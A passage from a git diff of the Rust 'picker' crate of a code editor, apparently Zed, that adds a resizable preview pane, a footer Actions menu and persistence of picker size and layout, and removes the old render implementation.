+                            .toggle_state(current == preview::Layout::Below)
+                            .tooltip(move |_window, cx| {
+                                Tooltip::for_action_in(
+                                    "Preview Below",
+                                    &SetPreviewBelow,
+                                    &below_focus_handle,
+                                    cx,
+                                )
+                            })
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.set_preview_layout(preview::Layout::Below, window, cx)
+                            })),
+                    )
+            })
+    }
+
+    fn render_actions_button(
+        &self,
+        actions: Rc<[crate::footer::PickerAction]>,
+        focus_handle: gpui::FocusHandle,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let _ = cx;
+        PopoverMenu::new("picker-actions-menu")
+            .with_handle(self.actions_menu_handle.clone())
+            .attach(gpui::Anchor::TopRight)
+            .anchor(gpui::Anchor::BottomRight)
+            .trigger(
+                Button::new("picker-actions-trigger", "Actions…")
+                    .key_binding(
+                        KeyBinding::for_action_in(&ToggleActionsMenu, &focus_handle, cx)
+                            .size(rems_from_px(12.)),
+                    )
+                    .selected_style(ui::ButtonStyle::Tinted(ui::TintColor::Accent)),
+            )
+            .menu(move |window, cx| {
+                let actions = Rc::clone(&actions);
+                let focus_handle = focus_handle.clone();
+                Some(ContextMenu::build(window, cx, move |mut menu, _, _| {
+                    menu = menu.context(focus_handle.clone());
+                    for item in actions.iter() {
+                        menu = item.add_to_menu(menu, &focus_handle);
+                    }
+                    menu
+                }))
+            })
+    }
+}
diff --git a/crates/picker/src/head.rs b/crates/picker/src/head.rs
index 18cff64fb6432f..d0315e5064e08a 100644
--- a/crates/picker/src/head.rs
+++ b/crates/picker/src/head.rs
@@ -34,10 +34,6 @@ impl Head {
                 cx,
             )
             .detach();
-        // cx.subscribe_in(&editor, window, |v, _, event, window, cx| {
-        //     edit_handler(v, event, window, cx);
-        // })
-        // .detach();
         Self::Editor(editor)
     }
 
diff --git a/crates/picker/src/parts.rs b/crates/picker/src/parts.rs
new file mode 100644
index 00000000000000..ad6a1cd3ceff5c
--- /dev/null
+++ b/crates/picker/src/parts.rs
@@ -0,0 +1,27 @@
+//! Components used in multiple pickers
+
+use gpui::Entity;
+use project::Project;
+use ui::{CommonAnimationExt, Tooltip, prelude::*};
+
+pub fn project_scan_indicator(
+    has_query: bool,
+    project: &Entity<Project>,
+    cx: &App,
+) -> Option<impl IntoElement> {
+    let is_project_scan_running = {
+        let worktree_store = project.read(cx).worktree_store();
+        !worktree_store.read(cx).initial_scan_completed()
+    };
+    (has_query && is_project_scan_running).then(|| {
+        h_flex()
+            .id("project-scan-indicator")
+            .tooltip(Tooltip::text("Project Scan in Progress…"))
+            .child(
+                Icon::new(IconName::LoadCircle)
+                    .color(Color::Accent)
+                    .size(IconSize::Small)
+                    .with_rotate_animation(2),
+            )
+    })
+}
diff --git a/crates/picker/src/persistence.rs b/crates/picker/src/persistence.rs
new file mode 100644
index 00000000000000..3e26d5fe10b7b9
--- /dev/null
+++ b/crates/picker/src/persistence.rs
@@ -0,0 +1,125 @@
+use anyhow::{Context, anyhow};
+use db::kvp::KeyValueStore;
+use gpui::App;
+use ui::Window;
+
+use crate::preview;
+use crate::shape::{self, Centered, RelativeHeight, RelativeWidth, Shape, ViewportFraction};
+
+const PICKERS_NAMESPACE: &str = "pickers";
+
+pub(crate) fn store_shape_for_this_layout(
+    picker_delegate: &'static str,
+    preview_layout: Option<preview::Layout>,
+    shape: shape::Centered,
+    window: &ui::Window,
+    cx: &App,
+) {
+    let shape = PickerConfig::from_centered(shape, window);
+
+    let kvp = KeyValueStore::global(cx);
+    db::write_and_log(cx, async move || {
+        kvp.scoped(PICKERS_NAMESPACE)
+            .write(
+                shape_key(picker_delegate, preview_layout),
+                serde_json::to_string(&shape).context("Could not serialize size of picker")?,
+            )
+            .await?;
+        // Must be written after the shape or loading can break
+        // if this future is ever cancelled.
+        kvp.scoped(PICKERS_NAMESPACE)
+            .write(
+                last_layout_key(picker_delegate),
+                layout_as_str(preview_layout).to_string(),
+            )
+            .await
+    });
+}
+
+pub(crate) fn try_load_shape(
+    picker_delegate: &'static str,
+    preview_layout: impl Into<Option<preview::Layout>>,
+    cx: &App,
+) -> anyhow::Result<Option<Shape>> {
+    let Some(shape) = KeyValueStore::global(cx)
+        .scoped(PICKERS_NAMESPACE)
+        .read(&shape_key(picker_delegate, preview_layout.into()))
+        .context("Could not read picker shape from KeyValueStore")?
+    else {
+        return Ok(None);
+    };
+
+    let shape = serde_json::from_str::<PickerConfig>(&shape)
+        .context("Could not deserialize loaded picker shape from persistence")?
+        .into_centered();
+    Ok(Some(Shape::HorizontallyCentered(shape)))
+}
+
+pub(crate) fn load_last_preview_layout(
+    picker_delegate: &'static str,
+    cx: &App,
+) -> anyhow::Result<Option<preview::Layout>> {
+    let Some(last_layout) = KeyValueStore::global(cx)
+        .scoped(PICKERS_NAMESPACE)
+        .read(&last_layout_key(picker_delegate))
+        .context("Could not read last picker layout from KeyValueStore")?
+    else {
+        return Ok(None);
+    };
+
+    parse_layout(&last_layout)
+}
+
+fn shape_key(picker_delegate: &'static str, preview_layout: Option<preview::Layout>) -> String {
+    format!("{picker_delegate}/{}", layout_as_str(preview_layout))
+}
+
+fn last_layout_key(picker_delegate: &'static str) -> String {
+    format!("{picker_delegate}/LAST_PREVIEW_LAYOUT")
+}
+
+fn layout_as_str(layout: Option<preview::Layout>) -> &'static str {
+    match layout {
+        Some(preview::Layout::Hidden) => "hidden",
+        Some(preview::Layout::Below) => "below",
+        Some(preview::Layout::Right) => "right",
+        None => "none",
+    }
+}
+
+fn parse_layout(s: &str) -> anyhow::Result<Option<preview::Layout>> {
+    Ok(Some(match s {
+        "hidden" => preview::Layout::Hidden,
+        "below" => preview::Layout::Below,
+        "right" => preview::Layout::Right,
+        "none" => return Ok(None),
+        _ => return Err(anyhow!("Unknown layout: `{}`", s)),
+    }))
+}
+
+/// A resized picker for persisting its size. All values are stored as fractions
+/// of the viewport so they remain meaningful across window sizes.
+#[derive(Clone, Copy, serde::Serialize, serde::Deserialize)]
+pub(crate) struct PickerConfig {
+    width: f32,        // relative fraction of viewport
+    height: f32,       // relative fraction of viewport
+    preview_size: f32, // relative fraction of viewport
+}
+
+impl PickerConfig {
+    pub(crate) fn from_centered(shape: Centered, window: &Window) -> Self {
+        PickerConfig {
+            width: shape.width.as_viewport_fraction(window).raw(),
+            height: shape.height.as_viewport_fraction(window).raw(),
+            preview_size: shape.preview_size.raw(),
+        }
+    }
+
+    pub(crate) fn into_centered(self) -> Centered {
+        Centered {
+            width: RelativeWidth::viewport(self.width.clamp(0.0, 1.0)),
+            height: RelativeHeight::viewport(self.height.clamp(0.0, 1.0)),
+            preview_size: ViewportFraction::fraction(self.preview_size.clamp(0.0, 1.0)),
+        }
+    }
+}
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index 78a6837bc13612..93d54e10a78599 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -1,30 +1,43 @@
-mod head;
-pub mod highlighted_match_with_paths;
-pub mod popover_menu;
-
 use anyhow::Result;
-
+use gpui::Action;
 use gpui::{
-    Action, AnyElement, App, Bounds, ClickEvent, Context, DismissEvent, EventEmitter, FocusHandle,
-    Focusable, Length, ListSizingBehavior, ListState, MouseButton, MouseUpEvent, Pixels, Render,
-    ScrollStrategy, Task, UniformListScrollHandle, Window, actions, canvas, div, list, prelude::*,
-    uniform_list,
+    AnyElement, App, Bounds, ClickEvent, Context, DismissEvent, Entity, EventEmitter, FocusHandle,
+    Focusable, ListSizingBehavior, ListState, MouseButton, MouseUpEvent, Pixels, ScrollStrategy,
+    Task, UniformListScrollHandle, Window, actions, canvas, div, list, prelude::*, uniform_list,
 };
 use head::Head;
+use project::Project;
 use schemars::JsonSchema;
 use serde::Deserialize;
 use std::{
     cell::Cell, cell::RefCell, collections::HashMap, ops::Range, rc::Rc, sync::Arc, time::Duration,
 };
-use theme_settings::ThemeSettings;
-use ui::{
-    Color, Divider, DocumentationAside, DocumentationSide, Label, ListItem, ListItemSpacing,
-    ScrollAxes, Scrollbars, WithScrollbar, prelude::*, utils::WithRemSize, v_flex,
-};
-use ui_input::{ErasedEditor, ErasedEditorEvent};
-use workspace::{ModalView, item::Settings};
+use ui::{ContextMenu, Divider, DocumentationAside, PopoverMenuHandle, prelude::*, v_flex};
+use ui_input::ErasedEditorEvent;
+use util::ResultExt;
+use workspace::ModalView;
 use zed_actions::editor::{MoveDown, MoveUp};
 
+mod footer;
+mod head;
+pub mod highlighted_match_with_paths;
+pub mod parts;
+mod persistence;
+pub mod popover_menu;
+mod preview;
+mod render;
+mod shape;
+
+use crate::shape::RelativeHeight;
+use crate::shape::RelativeWidth;
+pub use footer::PickerAction;
+pub use language::{HighlightedText, HighlightedTextBuilder};
+pub use preview::MatchLocation;
+pub use preview::Preview;
+pub use preview::PreviewSource;
+pub use preview::Update as PreviewUpdate;
+pub use ui_input::ErasedEditor;
+
 enum ElementContainer {
     List(ListState),
     UniformList(UniformListScrollHandle),
@@ -45,7 +58,19 @@ actions!(
     picker,
     [
         /// Confirms the selected completion in the picker.
-        ConfirmCompletion
+        ConfirmCompletion,
+        /// Toggles the preview between hidden and visible.
+        TogglePreview,
+        /// Shows the preview to the right of the results.
+        SetPreviewRight,
+        /// Shows the preview below the results.
+        SetPreviewBelow,
+        /// Hides the preview.
+        SetPreviewHidden,
+        /// Opens the footer's actions menu.
+        ToggleActionsMenu,
+        /// Take the picker's content and open it in a multibuffer
+        ToMultiBuffer,
     ]
 );
 
@@ -67,11 +92,14 @@ pub struct Picker<D: PickerDelegate> {
     pub delegate: D,
     element_container: ElementContainer,
     head: Head,
+    preview: Option<Preview>,
     pending_update_matches: Option<PendingUpdateMatches>,
     confirm_on_update: Option<bool>,
-    width: Option<Length>,
-    widest_item: Option<usize>,
-    max_height: Option<Length>,
+    shape: shape::Shape,
+    /// set through [Picker::width] and [Picker::height]
+    default_shape: shape::Centered,
+    vertical_padding: shape::VerticalPadding,
+    size_bounds: shape::SizeBounds,
     /// An external control to display a scrollbar in the `Picker`.
     show_scrollbar: bool,
     /// Whether the `Picker` is rendered as a self-contained modal.
@@ -82,6 +110,10 @@ pub struct Picker<D: PickerDelegate> {
     picker_bounds: Rc<Cell<Option<Bounds<Pixels>>>>,
     /// Bounds tracking for items (for aside positioning) - maps item index to bounds
     item_bounds: Rc<RefCell<HashMap<usize, Bounds<Pixels>>>>,
+    shape_loaded_from_persistence: bool,
+    /// Handle for the default footer's Actions popover menu. Used to keep the
+    /// picker open while that menu has focus.
+    actions_menu_handle: PopoverMenuHandle<ContextMenu>,
 }
 
 #[derive(Debug, Default, Clone, Copy, PartialEq)]
@@ -96,6 +128,9 @@ pub enum PickerEditorPosition {
 pub trait PickerDelegate: Sized + 'static {
     type ListItem: IntoElement;
 
+    /// Name of the picker, this is the key for serialization. We could use the
+    /// typename of the delegate but then a rename would break persistence.
+    fn name() -> &'static str;
     fn match_count(&self) -> usize;
     fn selected_index(&self) -> usize;
     fn separators_after_indices(&self) -> Vec<usize> {
@@ -200,6 +235,24 @@ pub trait PickerDelegate: Sized + 'static {
         PickerEditorPosition::default()
     }
 
+    /// Prevent closing the modal on clicking in a popover menu that portrudes out
+    /// This is already set by the Actions menu from the picker, this is here to
+    /// support extra menus added by the delegate.
+    fn has_another_open_menu(&self, _window: &Window, _cx: &App) -> bool {
+        false
+    }
+
+    /// An optional control rendered at the trailing edge of the search bar, e.g.
+    /// a filter toggle. Returning `Some` is the easy way to add such a control;
+    /// for full control over the search bar, override [`Self::render_editor`].
+    fn searchbar_trailer(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        None
+    }
+
     fn render_editor(
         &self,
         editor: &Arc<dyn ErasedEditor>,
@@ -217,7 +270,8 @@ pub trait PickerDelegate: Sized + 'static {
                     .flex_none()
                     .h_9()
                     .px_2p5()
-                    .child(editor.render(window, cx)),
+                    .child(div().flex_1().child(editor.render(window, cx)))
+                    .children(self.searchbar_trailer(window, cx)),
             )
             .when(
                 self.editor_position() == PickerEditorPosition::Start,
@@ -225,6 +279,14 @@ pub trait PickerDelegate: Sized + 'static {
             )
     }
 
+    fn try_get_preview_data_for_match(&self, _cx: &App) -> Option<PreviewUpdate> {
+        None
+    }
+
+    /// Called on the delegate when opening a preview to the side. Delegates can
+    /// then change how much space they use for rendering the match
+    fn preview_layout_changed(&mut self, _layout_is_horizontal: bool) {}
+
     fn render_match(
         &self,
         ix: usize,
@@ -241,6 +303,10 @@ pub trait PickerDelegate: Sized + 'static {
         None
     }
 
+    /// Overrides the picker's footer.
+    ///
+    /// Note there normally isn't a footer unless this is set or the picker has
+    /// a preview. If the picker has a preview add actions to it using picker_actions.
     fn render_footer(
         &self,
         _window: &mut Window,
@@ -249,6 +315,15 @@ pub trait PickerDelegate: Sized + 'static {
         None
     }
 
+    /// Make this non-empty to have an `Actions` menu show up in the footer
+    fn actions_menu(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Vec<footer::PickerAction> {
+        Vec::new()
+    }
+
     fn documentation_aside(
         &self,
         _window: &mut Window,
@@ -292,7 +367,61 @@ impl<D: PickerDelegate> Picker<D> {
             cx,
         );
 
-        Self::new(delegate, ContainerKind::UniformList, head, window, cx)
+        Self::new(delegate, ContainerKind::UniformList, head, None, window, cx)
+    }
+
+    /// A picker similar to [`uniform_list()`](Self::uniform_list) however this picker has a
+    /// preview window where it shows extra information.
+    pub fn uniform_list_with_preview(
+        delegate: D,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let head = Head::editor(
+            delegate.placeholder_text(window, cx),
+            Self::on_input_editor_event,
+            window,
+            cx,
+        );
+
+        let preview = Preview::new_editor(project, window, cx);
+        Self::new(
+            delegate,
+            ContainerKind::UniformList,
+            head,
+            Some(preview),
+            window,
+            cx,
+        )
+    }
+
+    /// A picker similar to [`list()`](Self::list) (variable-height rows) but with
+    /// a preview window. Use this instead of [`uniform_list_with_preview()`](Self::uniform_list_with_preview)
+    /// when [`PickerDelegate::render_match`] can return rows of different heights
+    /// (e.g. section headers and separators interleaved with matches).
+    pub fn list_with_preview(
+        delegate: D,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let head = Head::editor(
+            delegate.placeholder_text(window, cx),
+            Self::on_input_editor_event,
+            window,
+            cx,
+        );
+
+        let preview = Preview::new_editor(project, window, cx);
+        Self::new(
+            delegate,
+            ContainerKind::List,
+            head,
+            Some(preview),
+            window,
+            cx,
+        )
     }
 
     /// A picker, which displays its matches using `gpui::uniform_list`, all matches should have the same height.
@@ -304,7 +433,7 @@ impl<D: PickerDelegate> Picker<D> {
     ) -> Self {
         let head = Head::empty(Self::on_empty_head_blur, window, cx);
 
-        Self::new(delegate, ContainerKind::UniformList, head, window, cx)
+        Self::new(delegate, ContainerKind::UniformList, head, None, window, cx)
     }
 
     /// A picker, which displays its matches using `gpui::list`, matches can have different heights.
@@ -313,7 +442,7 @@ impl<D: PickerDelegate> Picker<D> {
     pub fn nonsearchable_list(delegate: D, window: &mut Window, cx: &mut Context<Self>) -> Self {
         let head = Head::empty(Self::on_empty_head_blur, window, cx);
 
-        Self::new(delegate, ContainerKind::List, head, window, cx)
+        Self::new(delegate, ContainerKind::List, head, None, window, cx)
     }
 
     /// A picker, which displays its matches using `gpui::list`, matches can have different heights.
@@ -327,30 +456,44 @@ impl<D: PickerDelegate> Picker<D> {
             cx,
         );
 
-        Self::new(delegate, ContainerKind::List, head, window, cx)
+        Self::new(delegate, ContainerKind::List, head, None, window, cx)
     }
 
     fn new(
         delegate: D,
         container: ContainerKind,
         head: Head,
+        mut preview: Option<Preview>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
         let element_container = Self::create_element_container(container);
+        if let Some(preview) = &mut preview {
+            preview.layout = persistence::load_last_preview_layout(D::name(), cx)
+                .log_err()
+                .flatten()
+                .unwrap_or_default();
+        };
+        let shape = persistence::try_load_shape(D::name(), preview.as_ref().map(|p| p.layout), cx)
+            .log_err()
+            .flatten();
         let mut this = Self {
             delegate,
             head,
             element_container,
             pending_update_matches: None,
             confirm_on_update: None,
-            width: None,
-            widest_item: None,
-            max_height: Some(rems(24.).into()),
+            preview,
+            shape_loaded_from_persistence: shape.is_some(),
+            shape: shape.unwrap_or_default(),
+            default_shape: shape::Centered::default(),
+            vertical_padding: shape::VerticalPadding::default(),
             show_scrollbar: false,
             is_modal: true,
             picker_bounds: Rc::new(Cell::new(None)),
             item_bounds: Rc::new(RefCell::new(HashMap::default())),
+            size_bounds: shape::SizeBounds::default(),
+            actions_menu_handle: PopoverMenuHandle::default(),
         };
         this.update_matches("".to_string(), window, cx);
         // give the delegate 4ms to render the first set of suggestions.
@@ -370,21 +513,61 @@ impl<D: PickerDelegate> Picker<D> {
         }
     }
 
-    pub fn width(mut self, width: impl Into<gpui::Length>) -> Self {
-        self.width = Some(width.into());
+    /// Sets the width the picker appears with if the user has never resized it
+    /// or when the user sets it back to it's default size.
+    pub fn initial_width(mut self, width: impl Into<RelativeWidth>) -> Self {
+        let width = width.into();
+        self.default_shape.width = width;
+        if !self.shape_loaded_from_persistence {
+            self.shape.set_initial_width(width);
+        }
+        self
+    }
+
+    /// Sets the minimum width, the picker can not be resized smaller then this.
+    /// Leave unset to use sane defaults.
+    ///
+    /// This applies to the results. If there is no preview that is the whole picker.
+    pub fn minimum_results_width(mut self, width: impl Into<Rems>) -> Self {
+        self.size_bounds.min_results.width = width.into();
         self
     }
 
-    pub fn widest_item(mut self, ix: Option<usize>) -> Self {
-        self.widest_item = ix;
+    /// Sets the width the picker appears with if the user has never resized it
+    /// or when the user sets it back to it's default size.
+    ///
+    /// # Padding
+    /// By default the picker will fill this space. If you want it to only grow
+    /// as large as it needs and treat the height as a bound use
+    /// [`no_vertical_padding`]
+    pub fn height(mut self, height: impl Into<RelativeHeight>) -> Self {
+        let height = height.into();
+        self.default_shape.height = height;
+        if !self.shape_loaded_from_persistence {
+            self.shape.set_initial_height(height);
+        }
         self
     }
 
-    pub fn max_height(mut self, max_height: Option<gpui::Length>) -> Self {
-        self.max_height = max_height;
+    /// Makes the picker shrink to fit its content rather than padding out to its
+    /// full height when there are fewer results than fit.
+    pub fn no_vertical_padding(mut self) -> Self {
+        self.vertical_padding = shape::VerticalPadding::None;
         self
     }
 
+    fn vertical_padding(&self) -> shape::VerticalPadding {
+        let preview_visible = self
+            .preview
+            .as_ref()
+            .is_some_and(|preview| preview.layout != preview::Layout::Hidden);
+        if preview_visible {
+            shape::VerticalPadding::Pad
+        } else {
+            self.vertical_padding
+        }
+    }
+
     pub fn show_scrollbar(mut self, show_scrollbar: bool) -> Self {
         self.show_scrollbar = show_scrollbar;
         self
@@ -470,6 +653,11 @@ impl<D: PickerDelegate> Picker<D> {
             if let Some(action) = self.delegate.selected_index_changed(ix, window, cx) {
                 action(window, cx);
             }
+            if let Some(preview) = &mut self.preview
+                && let Some(update) = self.delegate.try_get_preview_data_for_match(cx)
+            {
+                preview.update(update, window, cx);
+            }
             if scroll_to_index {
                 self.scroll_to_item_index(ix);
             }
@@ -619,6 +807,42 @@ impl<D: PickerDelegate> Picker<D> {
         }
     }
 
+    fn set_preview_right(
+        &mut self,
+        _: &SetPreviewRight,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_preview_layout(preview::Layout::Right, window, cx);
+    }
+
+    fn set_preview_below(
+        &mut self,
+        _: &SetPreviewBelow,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_preview_layout(preview::Layout::Below, window, cx);
+    }
+
+    fn set_preview_hidden(
+        &mut self,
+        _: &SetPreviewHidden,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_preview_layout(preview::Layout::Hidden, window, cx);
+    }
+
+    fn toggle_actions_menu(
+        &mut self,
+        _: &ToggleActionsMenu,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.actions_menu_handle.toggle(window, cx);
+    }
+
     fn handle_click(
         &mut self,
         ix: usize,
@@ -659,7 +883,12 @@ impl<D: PickerDelegate> Picker<D> {
                 self.update_matches(query, window, cx);
             }
             ErasedEditorEvent::Blurred => {
-                if self.is_modal && window.is_window_active() {
+                // Opening a footer/search-bar menu blurs the editor; don't
+                // dismiss the picker while such a menu is open/focused.
+                let menu_focused = self.actions_menu_handle.is_focused(window, cx)
+                    || self.actions_menu_handle.is_deployed()
+                    || self.delegate.has_another_open_menu(window, cx);
+                if self.is_modal && window.is_window_active() && !menu_focused {
                     self.cancel(&menu::Cancel, window, cx);
                 }
             }
@@ -738,6 +967,12 @@ impl<D: PickerDelegate> Picker<D> {
         cx: &mut Context<Self>,
     ) {
         let match_count = self.delegate.match_count();
+        if match_count == 0
+            && let Some(preview) = &mut self.preview
+        {
+            preview.clear(cx)
+        }
+
         match &mut self.element_container {
             ElementContainer::List(state) => match scroll_behavior {
                 ScrollBehavior::RevealSelected => {
@@ -760,6 +995,11 @@ impl<D: PickerDelegate> Picker<D> {
             },
         }
         self.pending_update_matches = None;
+        if let Some(update) = self.delegate.try_get_preview_data_for_match(cx)
+            && let Some(preview) = &mut self.preview
+        {
+            preview.update(update, window, cx);
+        }
         if let Some(secondary) = self.confirm_on_update.take() {
             self.do_confirm(secondary, window, cx);
         }
@@ -821,6 +1061,11 @@ impl<D: PickerDelegate> Picker<D> {
                 .top_0()
                 .left_0(),
             )
+            .when(!self.delegate.select_on_hover(), |this| {
+                this.on_mouse_down(MouseButton::Left, |_, window, _cx| {
+                    window.prevent_default();
+                })
+            })
             .on_click(cx.listener(move |this, event: &ClickEvent, window, cx| {
                 this.handle_click(ix, event.modifiers().secondary(), window, cx)
             }))
@@ -862,10 +1107,12 @@ impl<D: PickerDelegate> Picker<D> {
     }
 
     fn render_element_container(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        let sizing_behavior = if self.max_height.is_some() {
-            ListSizingBehavior::Infer
-        } else {
-            ListSizingBehavior::Auto
+        // When the picker shrinks to fit content (`None`), the list infers its
+        // size from its items. When the picker pads to its full height (`Pad`),
+        // the list fills the available space.
+        let sizing_behavior = match self.vertical_padding() {
+            shape::VerticalPadding::None => ListSizingBehavior::Infer,
+            shape::VerticalPadding::Pad => ListSizingBehavior::Auto,
         };
 
         match &self.element_container {
@@ -879,11 +1126,8 @@ impl<D: PickerDelegate> Picker<D> {
                 }),
             )
             .with_sizing_behavior(sizing_behavior)
-            .when_some(self.widest_item, |el, widest_item| {
-                el.with_width_from_item(Some(widest_item))
-            })
             .flex_grow_1()
-            .py(DynamicSpacing::Base04.rems(cx))
+            .py_1()
             .track_scroll(&scroll_handle)
             .into_any_element(),
             ElementContainer::List(state) => list(
@@ -908,6 +1152,43 @@ impl<D: PickerDelegate> Picker<D> {
             }
         }
     }
+
+    fn preview_layout(&self) -> Option<preview::Layout> {
+        self.preview.as_ref().map(|p| p.layout)
+    }
+
+    fn toggle_preview(&mut self, _: &TogglePreview, window: &mut Window, cx: &mut Context<Self>) {
+        self.toggle_preview_visible(window, cx);
+    }
+
+    fn toggle_preview_visible(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let next = match self.preview_layout() {
+            Some(preview::Layout::Hidden) | None => preview::Layout::Right,
+            Some(_) => preview::Layout::Hidden,
+        };
+        self.set_preview_layout(next, window, cx);
+    }
+
+    fn set_preview_layout(
+        &mut self,
+        layout: preview::Layout,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(preview) = &mut self.preview else {
+            return;
+        };
+        preview.layout = layout;
+        if let Some(previously_resized) = persistence::try_load_shape(D::name(), layout, cx)
+            .log_err()
+            .flatten()
+        {
+            self.shape = previously_resized;
+        }
+        self.delegate
+            .preview_layout_changed(matches!(layout, preview::Layout::Right));
+        cx.notify();
+    }
 }
 
 #[cfg(test)]
@@ -935,6 +1216,10 @@ mod tests {
     impl PickerDelegate for TestDelegate {
         type ListItem = ui::ListItem;
 
+        fn name() -> &'static str {
+            "test"
+        }
+
         fn match_count(&self) -> usize {
             self.items.len()
         }
@@ -1081,174 +1366,3 @@ mod tests {
 
 impl<D: PickerDelegate> EventEmitter<DismissEvent> for Picker<D> {}
 impl<D: PickerDelegate> ModalView for Picker<D> {}
-
-impl<D: PickerDelegate> Render for Picker<D> {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let ui_font_size = ThemeSettings::get_global(cx).ui_font_size(cx);
-        let window_size = window.viewport_size();
-        let rem_size = window.rem_size();
-        let is_wide_window = window_size.width / rem_size > rems_from_px(800.).0;
-
-        let aside = self.delegate.documentation_aside(window, cx);
-
-        let editor_position = self.delegate.editor_position();
-        let picker_bounds = self.picker_bounds.clone();
-        let menu = v_flex()
-            .key_context("Picker")
-            .size_full()
-            .when_some(self.width, |el, width| el.w(width))
-            .overflow_hidden()
-            .child(
-                canvas(
-                    move |bounds, _window, _cx| {
-                        picker_bounds.set(Some(bounds));
-                    },
-                    |_bounds, _state, _window, _cx| {},
-                )
-                .size_full()
-                .absolute()
-                .top_0()
-                .left_0(),
-            )
-            // This is a bit of a hack to remove the modal styling when we're rendering the `Picker`
-            // as a part of a modal rather than the entire modal.
-            //
-            // We should revisit how the `Picker` is styled to make it more composable.
-            .when(self.is_modal, |this| this.elevation_3(cx))
-            .on_action(cx.listener(Self::select_next))
-            .on_action(cx.listener(Self::select_previous))
-            .on_action(cx.listener(Self::editor_move_down))
-            .on_action(cx.listener(Self::editor_move_up))
-            .on_action(cx.listener(Self::select_first))
-            .on_action(cx.listener(Self::select_last))
-            .on_action(cx.listener(Self::cancel))
-            .on_action(cx.listener(Self::confirm))
-            .on_action(cx.listener(Self::secondary_confirm))
-            .on_action(cx.listener(Self::confirm_completion))
-            .on_action(cx.listener(Self::confirm_input))
-            .children(match &self.head {
-                Head::Editor(editor) => {
-                    if editor_position == PickerEditorPosition::Start {
-                        Some(self.delegate.render_editor(&editor.clone(), window, cx))
-                    } else {
-                        None
-                    }
-                }
-                Head::Empty(empty_head) => Some(div().child(empty_head.clone())),
-            })
-            .when(self.delegate.match_count() > 0, |el| {
-                el.child(
-                    v_flex()
-                        .id("element-container")
-                        .relative()
-                        .flex_grow_1()
-                        .when_some(self.max_height, |div, max_h| div.max_h(max_h))
-                        .overflow_hidden()
-                        .children(self.delegate.render_header(window, cx))
-                        .child(self.render_element_container(cx))
-                        .when(self.show_scrollbar, |this| {
-                            let base_scrollbar_config = Scrollbars::new(ScrollAxes::Vertical);
-
-                            this.map(|this| match &self.element_container {
-                                ElementContainer::List(state) => this.custom_scrollbars(
-                                    base_scrollbar_config.tracked_scroll_handle(state),
-                                    window,
-                                    cx,
-                                ),
-                                ElementContainer::UniformList(state) => this.custom_scrollbars(
-                                    base_scrollbar_config.tracked_scroll_handle(state),
-                                    window,
-                                    cx,
-                                ),
-                            })
-                        }),
-                )
-            })
-            .when(self.delegate.match_count() == 0, |el| {
-                el.when_some(self.delegate.no_matches_text(window, cx), |el, text| {
-                    el.child(
-                        v_flex()
-                            .flex_grow_1()
-                            .py(DynamicSpacing::Base04.rems(cx))
-                            .child(
-                                ListItem::new("empty_state")
-                                    .inset(true)
-                                    .spacing(ListItemSpacing::Sparse)
-                                    .disabled(true)
-                                    .child(Label::new(text).color(Color::Muted)),
-                            ),
-                    )
-                })
-            })
-            .children(self.delegate.render_footer(window, cx))
-            .children(match &self.head {
-                Head::Editor(editor) => {
-                    if editor_position == PickerEditorPosition::End {
-                        Some(self.delegate.render_editor(&editor.clone(), window, cx))
-                    } else {
-                        None
-                    }
-                }
-                Head::Empty(empty_head) => Some(div().child(empty_head.clone())),
-            });
-
-        let Some(aside) = aside else {
-            return menu;
-        };
-
-        let render_aside = |aside: DocumentationAside, cx: &mut Context<Self>| {
-            WithRemSize::new(ui_font_size)
-                .occlude()
-                .elevation_2(cx)
-                .w_full()
-                .p_2()
-                .overflow_hidden()
-                .when(is_wide_window, |this| this.max_w_96())
-                .when(!is_wide_window, |this| this.max_w_48())
-                .child((aside.render)(cx))
-        };
-
-        if is_wide_window {
-            let aside_index = self.delegate.documentation_aside_index();
-            let picker_bounds = self.picker_bounds.get();
-            let item_bounds =
-                aside_index.and_then(|ix| self.item_bounds.borrow().get(&ix).copied());
-
-            let item_position = match (picker_bounds, item_bounds) {
-                (Some(picker_bounds), Some(item_bounds)) => {
-                    let relative_top = item_bounds.origin.y - picker_bounds.origin.y;
-                    let height = item_bounds.size.height;
-                    Some((relative_top, height))
-                }
-                _ => None,
-            };
-
-            div()
-                .relative()
-                .child(menu)
-                // Only render the aside once we have bounds to avoid flicker
-                .when_some(item_position, |this, (top, height)| {
-                    this.child(
-                        h_flex()
-                            .absolute()
-                            .when(aside.side == DocumentationSide::Left, |el| {
-                                el.right_full().mr_1()
-                            })
-                            .when(aside.side == DocumentationSide::Right, |el| {
-                                el.left_full().ml_1()
-                            })
-                            .top(top)
-                            .h(height)
-                            .child(render_aside(aside, cx)),
-                    )
-                })
-        } else {
-            v_flex()
-                .w_full()
-                .gap_1()
-                .justify_end()
-                .child(render_aside(aside, cx))
-                .child(menu)
-        }
-    }
-}
diff --git a/crates/picker/src/preview.rs b/crates/picker/src/preview.rs
new file mode 100644
index 00000000000000..a39818ac1a2654
--- /dev/null
+++ b/crates/picker/src/preview.rs
@@ -0,0 +1,352 @@
+use std::ops::Range;
+use std::path::PathBuf;
+use std::sync::Arc;
+
+use editor::{Editor, HighlightKey, MultiBuffer, RowHighlightOptions};
+use gpui::{App, Task};
